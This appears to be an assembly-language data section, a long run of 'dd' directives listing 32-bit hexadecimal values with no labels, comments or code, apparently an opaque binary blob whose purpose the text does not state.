dd 154459A5h, 32831A7h, 8C02B025h, 0B740BA7Bh, 50C0A0D0h
dd 81D545h, 5BEC1F4h, 0ABA0D651h, 0CB2FC0C0h, 18B361A4h
dd 5988F73Dh, 0A0033FBh, 0BD60D1B4h, 0A10371h, 97BE6A86h
dd 0E34FCDD5h, 9D398C0h, 30DF6BEAh, 5481DCC9h, 840799B9h
dd 35348DCFh, 7289EB56h, 8E47036Ah, 375C97C7h, 0B9D215C0h
dd 81FE7400h, 0EF2E1E8Dh, 34AE00DFh, 2D6D7512h, 5500A1EAh
dd 322A03A0h, 78ADE09h, 0D9492C08h, 469592A8h, 15CF64E0h
dd 55071903h, 889360EBh, 0A0D58AE4h, 75CDD7A0h, 0A02B6013h
dd 7028F26Eh, 7168EA17h, 75543800h, 470EC6h, 0C7B33813h
dd 6E3B509Fh, 0AE581E00h, 0A16614D4h, 0F6631E2Eh, 0D9E44022h
dd 0B595528h, 5D8F7501h, 1B4E88A2h, 8E0A050h, 0BDE700E9h
dd 6F1567B4h, 1A1CE1A7h, 0BA1636C1h, 25280Eh, 0D240A601h
dd 765B26C5h, 6CC68C20h, 970547F8h, 0F8891F84h, 0F665A040h
dd 709060h, 9EEB9C24h, 0D76FA4EDh, 8130EF3Eh, 0FA9FBE03h
dd 0A2FC386Ch, 212A0157h, 2254C7CAh, 0C5F840AAh, 603D8442h
dd 0AC78E264h, 12332EB2h, 4BFC47h, 38C8F221h, 4D7E34h
dd 29A67FA4h, 0FBBFBE84h, 0AAC2D73Eh, 0E4E5F8FEh, 7B006086h
dd 6A165B61h, 0AEB6CDh, 0D70F4809h, 2D5ABF0Bh, 0CF3AAD00h
dd 23BB07A7h, 4ABC074Ch, 0D02E2901h, 1889D85Eh, 0B7A89D26h
dd 8CD11503h, 8E00E7FAh, 840C73h, 44E295F3h, 0C7BDC958h
dd 2C9ADDE6h, 0AA75BE0Fh, 21D68CD3h, 0F1D0035Dh, 19E9A667h
dd 0DB8960A8h, 313D4100h, 5F089BCBh, 879A005Eh, 203A44B3h
dd 0DA009367h, 3513E37h, 4F14B2h, 0B09C813Ch, 57FCB441h
dd 1FBA2B3Ch, 59803E77h, 0EA375F6Eh, 17D50010h, 3AC63112h
dd 5500D0B1h, 3D39286Fh, 1DDE3BCh, 35A9BF1Dh, 0CA89FCC4h
dd 6B792C60h, 818CA405h, 0C000127Dh, 82DEDCBCh, 0A84F1222h
dd 64F13Ch, 5E0675A0h, 4E7ED01Ch, 17E07680h, 7631142h
dd 70911A66h, 9600F51h, 1EAE8807h, 0EE276B00h, 129BC8E2h
dd 5141000Ah, 0F1BC8A13h, 0D50A2BC2h, 0E6B29CAEh, 0A0AFDE0Ah
dd 0FC164B00h, 0C84F050h, 0DCC7A5D8h, 2C04B898h, 430D9D4Eh
dd 5FD24490h, 0E85C4D48h, 4EB3D400h, 0CA988747h, 0CCD7624h
dd 0E7857B81h, 51C423F9h, 5FFF0047h, 939E1739h, 0A002D79h
dd 91F972CDh, 90617889h, 9F6D099Ch, 0F88142D9h, 34CFFAECh
dd 6AF24E90h, 9B791907h, 0B2A1CBE7h, 48878C41h, 674DF85Ah
dd 51D01021h, 0C00D4B1h, 0C376EF64h, 2015BA95h, 46023345h
dd 62E32287h, 5A6060E0h, 93BB0011h, 0D284E2F8h, 37632DDFh
dd 8820B0C1h, 7A2FC4h, 0D0BC6D6h, 0AF58083Bh, 117E7607h
dd 3810AC84h, 902D9B5Eh, 3E877C13h, 0D580B3C5h, 78364C3Dh
dd 550EAB89h, 0E0B1FA13h, 447A8379h, 748E0A46h, 0F46BD1h
dd 0EFC204CDh, 88006618h, 8DAA7302h, 3EBEFF01h, 71877BC6h
dd 30C1BA9Dh, 96EA4DD6h, 5975190Ah, 8902D0CCh, 60037453h
dd 0AB0C184h, 0E0824D7Ah, 158C00E5h, 8137592Fh, 26DFAF00h
dd 48C4634Ch, 0E4D20018h, 8677CBF6h, 677BC305h, 3DABDB00h
dd 23F4D84Dh, 85BB0316h, 3E69A109h, 93E73790h, 8D46BF0Fh
dd 18D480EBh, 0B1A0A4A7h, 8A758244h, 4C108DABh, 5DDE1C2Eh
dd 0AD61C0D4h, 1441C4FDh, 2665283Eh, 680F6135h, 548920B7h
dd 0FEEE98h, 4347703Ch, 0D816ED6Dh, 85032272h, 90B96A06h
dd 4838D82Eh, 2F6C385Fh, 0A80F5D80h, 0F2F0C136h, 0AEE8B101h
dd 72BF91C0h, 753DFE40h, 682F4931h, 0F6013220h, 0EC505759h
dd 0DC348306h, 53620018h, 0DE38D8A1h, 0BE1D2558h, 5B058C21h
dd 0EC8046EAh, 8DEB18h, 979913Fh, 70C01DB3h, 5C86D501h
dd 940E0238h, 1FB6F870h, 0C050160Fh, 0BBF59581h, 6A3C1009h
dd 825A84F9h, 24A44A67h, 6DFB00D2h, 31EDFF90h, 150DB706h
dd 20E8E460h, 0C14DFC03h, 119EE9B2h, 4E6300B1h, 0F1B79E0Dh
dd 3664039h, 0D9E33702h, 352000BFh, 3D7DD756h, 6203B7DEh
dd 0EA416F4h, 1242F709h, 7265E06Dh, 0C2E80F05h, 0FC4069EAh
dd 5CEF8D38h, 0EB94A401h, 7B37D95Ah, 0F9525441h, 311A1862h
dd 8CE1A8CEh, 0D8718006h, 0E60AF12Ch, 0EF4700C5h, 6878D301h
dd 0DA0E10C8h, 0A1B2B3C6h, 7DD8E616h, 0AA03D0h, 907F6CD0h
dd 41B548BBh, 0DBA6C800h, 0A8B3D9A3h, 0E0287F72h, 0CD8100AEh
dd 5F30BC55h, 7A03ADB2h, 3B54D0DCh, 0F497B80Fh, 6F1900F8h
dd 72B4573Ch, 0E809616Bh, 0E50BE58h, 0F6E9077Fh, 4901754h
dd 8A5E95h, 4E90B53Fh, 0B2FB35BDh, 0B9006CBAh, 0D1CBE253h
dd 0B88C2A9Ah, 4BC50068h, 0FC62A496h, 3A0059A1h, 30173F5Ah
dd 2A6EEFDCh, 7894E31Ah, 259500EEh, 15A10CC1h, 71000F31h
dd 353C1B07h, 316C2AB3h, 0A03812AFh, 5E547094h, 0D9A5130Ah
dd 9880B0B5h, 3F0B14E8h, 0EDB70CC6h, 0AB08D637h, 0C17621C0h
dd 0B4F214h, 8BC94C50h, 3E7443C4h, 740B100h, 0FEE938A0h
dd 52E3E231h, 0B806DCBAh
dd 0E9E05AFCh, 3D03E60Ch, 601B20D0h, 0F4A5C1E8h, 806143Ah
dd 0D61A50A0h, 5B760019h, 0A9632FBh, 8C005237h, 29E4110h
dd 0D938F33Ch, 18A3C8D0h, 91408EAh, 0A1C4D63Fh, 14C37840h
dd 0BD0E2011h, 60B85B0Ch, 3F869766h, 0F83A00E9h, 0DD35071Fh
dd 9800BB80h, 0FA63F75Dh, 1EC5B49h, 0C3939D9Ch, 0E004CBFBh
dd 175C862h, 0DBD54F00h, 70489A2Bh, 633006Ch, 0B6F4F199h
dd 0A5007852h, 0A90D3261h, 927087h, 4089CBC2h, 49B9428h
dd 0F037A61Fh, 60C3174Eh, 0B1259FF1h, 0C76E0029h, 0B39CE2B2h
dd 0D80099FCh, 7137C11Dh, 0E16BEBh, 9E11B893h, 0FF2707D0h
dd 8899D600h, 254ADBC6h, 93AE654h, 0EFAE3971h, 4F82A480h
dd 9B26D713h, 600090EDh, 7EFB8A07h, 0FC4C002Ch, 8C5B3CF0h
dd 1C0071B5h, 13097A6Fh, 0B49157h, 86EF2622h, 0CE5DF744h
dd 0D0DEAC1Ch, 3C1E00FBh, 0B22C4172h, 46D50042h, 0C9275C12h
dd 5B58E776h, 196032Fh, 0FF60524Fh, 577180CEh, 0F356C0h
dd 0CE6836F6h, 137686ABh, 29058C0Eh, 8821C032h, 71B8CAE5h
dd 6E09Ah, 807CDE46h, 72BE2B66h, 4D3AB00Fh, 0A4AB206Fh
dd 7205E932h, 0ADD63C64h, 6AEB3700h, 411F2061h, 363A7701h
dd 3CA3942Eh, 0E4696880h, 6249517Ah, 2000477Ah, 6BCE861Bh
dd 0C6A975h, 0F0DF15C2h, 0F2935E96h, 3873FD30h, 28D347h
dd 29C1C334h, 0F885CF4Fh, 307B0F38h, 25564087h, 60940EF1h
dd 96808A91h, 51B31CFCh, 2A051900h, 1DBE8222h, 954D0001h
dd 74F49699h, 1100B9BBh, 7BFE0D62h, 0E6B450DDh, 4C5401D3h
dd 36CF6C5Ah, 91FFCCA9h, 50A7C60Eh, 7B2680EAh, 386DB4h
dd 0E8AA54B5h, 9757D9F9h, 2FD4B1Eh, 9CBDBA83h, 0A53EF05Ah
dd 335F00CAh, 0B4DE7B48h, 5B00EBE0h, 0CE6B594Fh, 0C9E237h
dd 7BEE87D7h, 0BEAF5DE9h, 0B0AD9600h, 56F12F5Fh, 0C92C070Eh
dd 706D5359h, 7B8A9C87h, 8039FD39h, 91F0A96Ah, 889261h
dd 0FA305412h, 56A8ED70h, 0A0E6B918h, 0A63D88h, 9E1C2F9Fh
dd 0BD871D2Ah, 0A8C8300h, 0F4E82127h, 2376B2h, 3FAC9171h
dd 65174C97h, 0C8BD110Fh, 5305608Ch, 65B0828h, 0D4A240Ah
dd 22229836h, 8F150072h, 0E97EFE80h, 86064189h, 5A4C10Dh
dd 0C3B400DAh, 1CB154FFh, 0C600EB32h, 0CC19C0A1h, 15EA94h
dd 0AC7E91FCh, 0BBBC7A35h, 40B880EDh, 7754E2A7h, 5FF707D9h
dd 6032EBBEh, 722F6699h, 7418FD24h, 3798CC20h, 0ADA6E21Fh
dd 95691A47h, 0D3330CA7h, 80B4F2BBh, 0CCF2A4FCh, 5F370C9Ch
dd 0AAB86BD5h, 0F9A98F00h, 7CFD0A25h, 0D430FB7h, 40529E53h
dd 0EE0C7840h, 2A008A48h, 185F6D33h, 0B23C22h, 0EF1F70EDh
dd 0C8574BFFh, 9DE91E00h, 0CCAB6A42h, 611B004Ah, 40637D6Dh
dd 76EE4C0Ah, 0F4644800h, 0D478853Ch, 0DF5100F0h, 993BDCABh
dd 0BB009D04h, 75089247h, 0AF9377h, 0BE35CA9Ch, 0D9149F32h
dd 27025200h, 225D5EF7h, 96650394h, 0E3B1A72Bh, 4400BBDBh
dd 0B68CD11Ch, 0CFB5A659h, 69872A19h, 10E2061Eh, 0CC536E00h
dd 44DAC355h, 735200DDh, 0E79CD251h, 5A00196Dh, 1D4DA1F5h
dd 0D89E61h, 5E6BE48Ah, 0E09B217Dh, 0FB00BAFCh, 2EDBC0FDh
dd 3A205Bh, 93B94EE6h, 77A68AD4h, 0D0BDD215h, 3E8C00B4h
dd 2BEA7164h, 0B1FA0068h, 9F23F4F0h, 0A8124344h, 0CC00983Ch
dd 742613CEh, 7C9D0060h, 0EC840D2h, 4D02AD8Eh, 2402B499h
dd 0BD1C6834h, 3622036Ah, 19845E0Ch, 663BC690h, 1F694588h
dd 0CFA4F9CFh, 0B2A0D449h, 2A1CDF63h, 9C082700h, 0DD6B050Ch
dd 43CC000Ah, 3A1DB71h, 28005D06h, 0EC7E80B3h, 0E8BEE36h
dd 6071386Fh, 29C5BCC0h, 7C0E6A0Fh, 23126EA3h, 80D95451h
dd 9AAFC3h, 75FEFCBDh, 0D8F7F6FFh, 95DCF11Ch, 58240166h
dd 1F3B00B8h, 9011F523h, 165D00A2h, 68D3C240h, 97009233h
dd 89B0DC06h, 38FDF66h, 0CCFE9E2Fh, 0CA005453h, 62C5E2C6h
dd 248955h, 0F1852DA2h, 70A53643h, 0D2AFD700h, 17967375h
dd 9CC04CDAh, 0E9C4BA00h, 0A0A36D0Fh, 0F7BC53Dh, 0A05DCB1Ch
dd 878FFC58h, 0C7D500CDh, 72F2AD36h, 421F7390h, 2CC1F31Ah
dd 0F1EC8FC6h, 70DDAEE4h, 25470092h, 8849561Eh, 0EE01ED5Ch
dd 7B4044ACh, 27608AAEh, 4B57004Ah, 4E8C8638h, 0B1046358h
dd 5AC5F0Ch, 0DB00E494h, 0DB086994h, 2C97095Eh, 0E8094EF6h
dd 0B870F00h, 7C07CF67h, 53E72731h, 0BA5295B0h, 5A600038h
dd 7AF0104Eh, 701777Fh, 0E3DBAF83h, 0E73070ADh, 204500B7h
dd 5E182149h, 78093B1Fh, 0A5FB83h, 0ACADD11Bh, 0E9CC00CFh
dd 0D9D85DDDh, 17002B54h, 7906C921h, 0FC5855AAh, 0CE700E5Bh
dd 6E40D635h, 16FCEA3Ch, 29443230h, 0BEDAAFh, 0B33782E7h
dd 7AEF3C52h, 3DDC0C01h, 0C8486E04h, 0F66BC300h, 43038B7Bh
dd 106DE0BFh, 59D9B1DAh, 2220C24h, 0AA8FB302h, 4CC826FCh
dd 0A70186B8h, 2901DDE1h, 4E8B369h, 0F36B07D2h, 0A0C35A8Ch
dd 0E545C462h, 8947DF3Eh, 81CA605Eh, 0EA0EFB61h, 0B283ABC4h
dd 0C2060F94h, 2A21ED67h, 0D093F011h, 75630945h, 1183EF20h
dd 60685310h, 288F1B20h, 21110071h, 10EC645Ch, 233A0812h
dd 0E29F80CBh, 0A955A36Ah, 8EC9C25Ah, 0CC0187Fh, 89332B10h
dd 0C66958D7h, 27110E20h, 77C3CB07h, 0E6C09B96h, 1D012645h
dd 5C69E79Fh, 80D8F28Bh, 0C840124h, 0FFAB2E76h, 0D81E409h
dd 5F6F2B00h, 543A59A3h, 0D7C809ADh, 34A0CAC4h, 25AA84Bh
dd 0B5890339h, 0D802680Dh, 9A99EAECh, 0ED48C084h, 1084A09Bh
dd 0B40B0FB7h, 91C04B55h, 5FC30A4Fh, 0A778F6C0h, 99C6D2h
dd 0DCBE84F5h, 0CFC45966h, 557CCB07h, 0B9179Fh, 0B74488EAh
dd 0DB2B00DAh, 3B871682h, 7F002957h, 89E5097Ch, 712601h
dd 9AECEE32h, 4AAB1982h, 9D1F4E00h, 93283394h, 0E67C0074h
dd 856D39Bh, 830E3E9Eh, 21653DDBh, 483CF8EFh, 1FAA4FCCh
dd 0C073915Eh, 0A6C8FC1Dh, 425C0288h, 22900710h, 0BD208763h
dd 7F5DABh, 100EF220h, 0C24546CCh, 7354CA00h, 38AE36BFh
dd 0EB7F4CDh, 245F496Ah, 5D82DC20h, 3F00973Ah, 0A4016C5Eh
dd 0E38731h, 6870740Ch, 64E6DF81h, 0EF6F8A8h, 6C074A70h
dd 9B8A288Eh, 0C06204D3h, 39E0AD68h, 67029123h, 0C5218790h
dd 36517844h, 69E247F6h, 43D71003h, 213F0830h, 0E8B532Bh
dd 8655E5BEh, 0C3C20324h, 681657B6h, 40F3359h, 0C6520241h
dd 8B304868h, 6FC400F5h, 0CAA3E2E4h, 0A2741AEAh, 242180FFh
dd 0F930C4FEh, 260404ADh, 9081715Dh, 0F8A3870Ch, 0B0B68B30h
dd 60CA3455h, 6D442084h, 0CC60EE28h, 9A132E29h, 19AD035Dh
dd 2955833Bh, 8839082Eh, 9A1B0C80h, 78430EF0h, 0E3BB047h
dd 5CD61041h, 771864Ch, 0C75AFC03h, 3F5EBA3Ch, 0AB98CF68h
dd 0E5D7808Dh, 0DB50108h, 145503B9h, 280779F2h, 0F311ADA3h
dd 2721C4C0h, 0EF30007Fh, 0F89DACB2h, 9C0051C6h, 46198EDBh
dd 28AFFBC4h, 0F2081Dh, 22ABA90h, 44974E48h, 7FBCD000h
dd 206625D8h, 0FF30015h, 32033CA3h, 0C400A8E0h, 0EDEFB2D5h
dd 0EAC834h, 114F9FCBh, 94413F6Ch, 3A0F44FEh, 3C75DBEh
dd 0C858062Ch, 390F2374h, 0D8801967h, 8E438064h, 0B000AFE6h
dd 0EA7EF68Fh, 81548Ah, 0CF6878C6h, 19CC6D9Ah, 80739C38h
dd 9F0823FBh, 70525F43h, 0B8C5001Dh, 0E3B29868h, 4004ABEh
dd 6A80CB22h, 936B4Bh, 4CBCE6BDh, 0CC74F206h, 3500A6F0h
dd 0C53711C0h, 59EAAFh
dd 7DBE2294h, 1FBD8B40h, 4BDF7203h, 0C053E4F5h, 1FC74DDEh
dd 86C615B8h, 0D0195259h, 0AE96CA00h, 8119C83h, 8BD507FAh
dd 7059765Bh, 0BFE1F4DDh, 3C00F9E4h, 0A5D4B940h, 0C84178h
dd 5EBC8E9Dh, 3A231AB4h, 0AC9E3400h, 9F7EB88Ah, 5BC400B3h
dd 437FB978h, 0C97D6527h, 0FA91AA1Fh, 118E53C0h, 466BD3h
dd 56B1F20Dh, 89DE5EEAh, 80586800h, 5FB49E9Fh, 9AC00DBh
dd 26C1BAC9h, 0C8006718h, 43DE8EBDh, 0E06638h, 90E6ADB0h
dd 0DA80F114h, 52A28C00h, 71D3108Fh, 0F40E0048h, 6FC0636Ah
dd 9400DAEDh, 0B2729D21h, 0C0F1DCBCh, 4535F4A8h, 980B1266h
dd 871C2C81h, 600F1AFEh, 0C55429FEh, 0F7A5013Bh, 65379839h
dd 335BE443h, 403C37Bh, 41B51059h, 2AA8019Ah, 0F7DEBE14h
dd 935BFC26h, 6871C637h, 846ED5D0h, 8217046Ch, 40C7622Ch
dd 0CD4FDF2Bh, 0A3340ABAh, 8FB0FC35h, 0C1A0E16Fh, 11284315h
dd 9E0EB8F6h, 0A007FC13h, 639E078h, 959200D5h, 0BB6EE947h
dd 0F5005A0Fh, 6BDF8862h, 0C628D7h, 0AD77486Fh, 39ECDC25h
dd 4C00A070h, 5BB841C1h, 398A2DAh, 64D4292h, 3B93F6Bh
dd 0C04C20F7h, 88E35100h, 72F6D7E9h, 0A715188Ah, 48E8A163h
dd 3E616707h, 3510CC7Fh, 31F4FFEh, 0A6D193B7h, 0BA1BE01h
dd 61DEFCD6h, 9EA0DD00h, 88F30C6Ch, 9B42008Dh, 47A47583h
dd 6E3FDC56h, 0F9B500D6h, 951A826Ch, 5CC3142Eh, 5208CC84h
dd 0A700C109h, 5F40BDE3h, 0D16402DEh, 0E2384496h, 0FCF48090h
dd 1ABB35Ch, 0C3C2FD6Fh, 0EBED57EAh, 5E850D8h, 0D773DAA2h
dd 40BC303Ch, 53EE5999h, 0A8FF2200h, 0F2894C05h, 7D3213A2h
dd 98DE02A6h, 8CA01943h, 0BE77E965h, 0FC5D1400h, 3C1D693Bh
dd 164000ACh, 96F719ABh, 6FE8E2D1h, 505C4Ch, 0BFFF053Ah
dd 0ECDD1Dh, 0CBF5FDACh, 1EF0CAFBh, 67E8A401h, 0DE1AB89Fh
dd 0D704F0h, 0FD827890h, 752461E4h, 0C5A1AE00h, 42303AF3h
dd 6BD00009h, 1FC2CE0Fh, 0A91D1495h, 9080F917h, 5C94C98h
dd 0F4A10032h, 80B02006h, 0DA2618ABh, 0AE006B31h, 962490Fh
dd 0D0330001h, 668E7230h, 0A11EDB92h, 0BF0071B6h, 23C7B945h
dd 703826D3h, 5ACA006Ah, 343F2C8h, 0B2B7E700h, 0D919AA49h
dd 89B05C08h, 0DE1F020Fh, 0F21288D8h, 2D028272h, 74A231CBh
dd 0C052C0C3h, 7176FAh, 0B73F7E66h, 348288BFh, 764AD500h
dd 3B5EAB2h, 686D009Dh, 0E32BFEB3h, 6B003F37h, 4D08ECDFh
dd 1A3AFC9h, 0CA47C604h, 0D4835030h, 5A28515Ch, 60484A7h
dd 69AC5D2Ch, 0D7ED40D0h, 5E100099h, 0B9EA452Eh, 6F0EAAE6h
dd 0C03A297Ch, 0EB7318FEh, 0CCF0356h, 3BFDDE88h, 0A4075B98h
dd 7C0E0D01h, 0B39E4A97h, 5233B540h, 342D0943h, 4C007A7Bh
dd 3FD077C5h, 36F4D0Ch, 2676602Eh, 0F11851h, 7D67C270h
dd 0A092FB3Eh, 0E409E0F2h, 25C108F8h, 9CC03738h, 4C482613h
dd 5A00AC22h, 0B10470F6h, 8401E969h, 3BFBC1CFh, 71C1CDBFh
dd 227EDE40h, 308567EFh, 0D3F87060h, 0B4A0FFBFh, 847055h
dd 8287B5A7h, 513E3189h, 0FA008BE2h, 68670206h, 60815Dh
dd 4BAB2324h, 27AA2A16h, 89764000h, 4384C114h, 0BC4E0036h
dd 489A6D5Ch, 0FD01D0F0h, 1BB7A724h, 82DA31DDh, 608AA9BCh
dd 1C0A1E09h, 4094A8F6h, 81364A71h, 10063DDh, 69867D3Fh
dd 0E32D8C08h, 0E3CEBC0h, 7368830Eh, 40287A47h, 2B69B0DCh
dd 3130F600h, 17E0F526h, 867E0EEBh, 0E5638B22h, 52F8CC19h
dd 23133CC1h, 0D500F70Bh, 0DAD2B1DDh, 0BC2800B0h, 91C8CC66h
dd 0FE2CC1D1h, 3B004912h, 3D2088CAh, 0AEF10092h, 0B0F68B3h
dd 0F80070A3h, 26CA3163h, 754496Fh, 3A88F253h, 6A4EEE15h
dd 0CE558020h, 0DA3EFD4Ah, 96BB47h, 9ED1D49Ah, 26D8B16h
dd 2360F633h, 9E40CF12h, 93003104h, 92BFB11Eh, 30C9A3h
dd 0DFFDD96Eh, 0BBDA5382h, 0DB113D07h, 9410394Bh, 0FF558FCh
dd 4A5923E7h, 0E1FE04A0h, 6E001381h, 1293A02Ch, 0C44754h
dd 0E0B8DABBh, 3C892D5Bh, 0FE09287Dh, 20519550h, 29A5094Ch
dd 738F0965h, 0C78027A7h, 790D2869h, 0D5321800h, 0B9538B48h
dd 0D06805BAh, 0FA8F3FC6h, 0E51556C0h, 0F22B001Bh, 21A4137Bh
dd 1C00EBF5h, 927189C4h, 0B8BD0646h, 3B83002Dh, 5DFA0A57h
dd 0CA59BA99h, 0ED480070h, 54A2591Eh, 3F0A14C6h, 468210D6h
dd 0AC681EEEh, 0AA0E339Fh, 8E23915Ch, 479C8103h, 21861D34h
dd 39C8F499h, 3E0E4C7Eh, 80F53F64h, 15D9130Bh, 41A800C5h
dd 14D74455h, 63007F03h, 0BD88E5FDh, 1F29975h, 0E13CC818h
dd 0D8C5EC3Eh, 5B004177h, 1CB1B0B9h, 1E4597Fh, 73552991h
dd 0D63DFB76h, 54CA72C0h, 77C254A0h, 88964B37h, 0A8809DE4h
dd 3A93B906h, 9183A8FBh, 1CF747A1h, 0C19B3102h, 0E12E37CAh
dd 881BF3Ch, 0FB5E73F0h, 0C726C45Dh, 7F055300h, 2FE0BA01h
dd 0E66C0071h, 0D20E11B9h, 92008834h, 0C7FA0C82h, 59F65F5h
dd 3FE5804Ah, 792FC0B4h, 0DECD109h, 0A6150C1Dh, 960BC6C0h
dd 1EB1BE42h, 7B8D1203h, 0A1C56E00h, 0CC430299h, 71FE8600h
dd 26D2059Dh, 0DDD41C53h, 288700B3h, 487FEE6Eh, 9F5E3200h
dd 0A0EBEC23h, 0C6D0516h, 8185FE54h, 0D4BF713Fh, 6900DD35h
dd 3AE08210h, 0CB7EF1h, 20D200Bh, 0FEF35A8Ah, 0B4B29B1Dh
dd 0AE5DA70Eh, 98DEE012h, 1E363Fh, 0F4611B8Dh, 9C7E8923h
dd 0F4CBFECAh, 11DE8607h, 97B8A19Eh, 39E48D26h, 0EB8300F4h
dd 0B6779D5Eh, 510730ADh, 40E735EEh, 0D05073F7h, 4CA287h
dd 0E4CFCCC4h, 9D583A11h, 0A0381E60h, 9B60BAh, 72B482BDh
dd 2F6F3D5Bh, 102E2100h, 894B468Fh, 91E10281h, 4495A5D4h
dd 5F8260DFh, 0F6D1F72h, 518AC038h, 0CD21BCC3h, 812FF338h
dd 848A143h, 23200AB5h, 0D28C00DAh, 5335F8DCh, 0A7005F45h
dd 0DFCF2C44h, 1C19CDh, 5BC4793Fh, 0F8C852C1h, 2A00A8B8h
dd 972BC24Ch, 0A16CBCh, 0CACC6444h, 1E01328Bh, 0B7DC1F00h
dd 51BBE4F2h, 94EE3EA8h, 1B1A9906h, 9603513Ah, 5E700757h
dd 4915E832h, 9FD103DCh, 316B2117h, 610DD6F8h, 75087A4Ch
dd 89396C60h, 20BD96Ah, 2C8212C6h, 0B848F1E9h, 4D00DE96h
dd 51ADAE72h, 581F633Ah, 7095C04h, 54050FC5h, 2894C16Ah
dd 82DE1018h, 11B405F6h, 8397E4A1h, 0A903A69h, 0BA12C933h
dd 41006463h, 0E1FB1695h, 0AB9E0022h, 0A0A9BBE8h, 764B0886h
dd 49C22800h, 0EA4421h, 0CD28F8DBh, 52413730h, 0DE81E900h
dd 6469FE20h, 84C00D2h, 7A436ED6h, 0DC7F59CDh, 94444Ch
dd 0D4628EF5h, 0FC345Fh, 0F153910Dh, 0A8BCE5ECh, 2B65A900h
dd 0E731A4AEh, 299C0357h, 0B7CBDF56h, 209D85EBh, 4A7548B8h
dd 3519DB00h, 9791DCD5h, 93AD1DB4h, 5C0F41DDh, 31C2EF88h
dd 145EE88Bh, 0F60070FCh, 6F9C25ECh, 986E9E65h, 42823F9Ch
dd 2E4D1602h, 14E362E9h, 86BC04ADh, 0D49B47D5h, 0C5173C40h
dd 5D94005Bh, 99827B09h, 14BA55FBh, 804DD93Ch, 14FC2381h
dd 58A2FAh, 93418399h, 6E7CDDADh, 3ECD3A0Eh, 0AAFE3A1h
dd 9D64C804h, 60330042h, 6BC46A57h, 2100CFEDh, 0CBC31119h
dd 3E8D86h, 0BE403498h, 74950458h, 7598C660h, 96DD1113h
dd 0B4BC00E4h, 2C846EF7h, 31003FF2h, 0EC072022h, 3B41E152h
dd 0B6AE9BEFh, 0AA3A8274h, 84E87AAFh, 0B850F2F1h, 933CEFC0h
dd 0BD007D62h, 1DE3E620h, 0E2EA7BE2h, 0AB04309Ah, 0A4ADCD41h
dd 5057C1FDh, 6617C880h
dd 3BA2D100h, 936BB956h, 679500CEh, 381530F9h, 0D803BB61h
dd 0EA74A587h, 0F191F0D6h, 0BC3525DAh, 0BEC52C80h, 54078C48h
dd 858A5ABAh, 739C9BB0h, 3BA80101h, 311B9A4Bh, 0C025D8D9h
dd 0C717C901h, 0DC462A78h, 3B0E81D4h, 9C80DE53h, 0FB9B2E32h
dd 8FC4324h, 0DB8EED00h, 0B291ABC5h, 0F01200C1h, 60EFAAD1h
dd 0BB395045h, 71B09E22h, 0AEDFCC00h, 0CA87B2h, 7C095AC4h
dd 0FC0C4EF7h, 0AF527700h, 31E4EA53h, 0EC6F861h, 4675ABB8h
dd 21812B20h, 0A62C8C8Dh, 0C71F4313h, 0AB68D218h, 5BA10382h
dd 0CCF0620Eh, 25A938A0h, 5033A0C1h, 7187E356h, 8CF6E068h
dd 0B201BB39h, 3EB5C5FBh, 5AF0BDDBh, 36A500C3h, 0D3104193h
dd 0D8182CECh, 2641A713h, 0FEEAF06Bh, 964A008Fh, 70F83BA5h
dd 0E407A8BFh, 0C24E11A4h, 0F03727E3h, 0ECA092h, 28E2FD6Fh
dd 0D5F98042h, 970EB100h, 0EB197E52h, 0A5A71830h, 0F7CB90D0h
dd 12C37207h, 60E017F8h, 54678BAh, 6DF95B13h, 0E56580D1h
dd 8E00553Bh, 20BB825Dh, 1C2FECDBh, 45437BAAh, 80F67C1Ch
dd 0D3BDF00Ch, 14C12106h, 10A8661Bh, 3EE5AF42h, 289000CFh
dd 68D88E34h, 0E859006Bh, 4A08C8D9h, 0D00024F4h, 0E49FD518h
dd 6B70DFh, 6FE9E5Ch, 880A3126h, 0A268AE01h, 0B7C2B6EEh
dd 6A384180h, 0EDAF4005h, 1FBB8000h, 0A0D67C77h, 32FC00F3h
dd 71D78EBh, 30C76C22h, 0D71095A8h, 39BC638h, 6004011Ah
dd 1BE80B89h, 770671C1h, 0A64A33Ah, 0CB6900B8h, 92285094h
dd 9F0063B5h, 4F75C1FFh, 240964h, 0DE5213B3h, 9A85872Fh
dd 1A506D00h, 0BB91B6ADh, 0A7A301D6h, 6583869h, 80D802DFh
dd 3A782BECh, 48FEEC98h, 91011C75h, 3BDB8558h, 19FE04Eh
dd 7065AC00h, 9518F14Fh, 22960FE4h, 0ED40D1C7h, 32626C17h
dd 0D99C5600h, 0E8DE9B04h, 9AD500B7h, 34465CD1h, 0C800E05Bh
dd 4486CEB4h, 3C888737h, 929F837Bh, 0F3BC027h, 6D129B6Ah
dd 0F22FAA01h, 0BF592A47h, 0D91E0h, 48E236D7h, 4A5BA7F1h
dd 279EC100h, 502C16BCh, 3E8700C5h, 0C79BD532h, 3A008E7Fh
dd 637D76E8h, 24792829h, 8EBE1Dh, 0BFFC78DDh, 0C701BD22h
dd 4502DE09h, 3BF457B5h, 347A00DFh, 6349A50Fh, 68002F3Dh
dd 0CF1CC5DEh, 38852CD4h, 0AC3F0555h, 2E71FA03h, 36E0272Dh
dd 0B91E6D5Bh, 0B5803B30h, 0C548E48Eh, 8CF10077h, 0DACF99BFh
dd 0D498AA37h, 45D19F00h, 2957DD14h, 0E9B0F3h, 4C798110h
dd 8D398448h, 128155Ch, 555885FCh, 0E72091AFh, 43615CC2h
dd 0C59A4E00h, 496DE781h, 690012E6h, 50F59B63h, 60C66Bh
dd 72042C1Bh, 0F286A996h, 65AE0801h, 99DBA85Fh, 0EB9E9FCh
dd 0EC356BD7h, 0A9C47460h, 0E5730B11h, 12EE961Fh, 850F9EC0h
dd 51C3Ch, 78B7D30Ah, 0EE31517Eh, 0C8AEF600h, 41456FB5h
dd 0A0E7001Eh, 1A5D97D6h, 0E0000E52h, 228DD09Ah, 0EE348B55h
dd 601560E4h, 920D12A4h, 16B02806h, 1B4C776Ah, 203DD7BDh
dd 9876FE90h, 87B70A06h, 1299A728h, 4016AF23h, 880192E0h
dd 0D974903Eh, 0FFCC480Fh, 0A358801Bh, 52A822h, 8FE97FEFh
dd 76E61036h, 40E76428h, 0D8FE4500h, 0E8D69588h, 125B3053h
dd 0A140859h, 0E0FDFB14h, 0EA53F10h, 0F4228F76h, 0F90A0040h
dd 29963D88h, 7AB0A7h, 75A09BFBh, 0CE27BD5Fh, 841ECC00h
dd 4A3B6CD2h, 0A9EB0078h, 374509D6h, 0CB02DB93h, 92487A0Fh
dd 0BEDB80C7h, 47AE0Bh, 953959E4h, 0F2315EA0h, 0CC7ABD00h
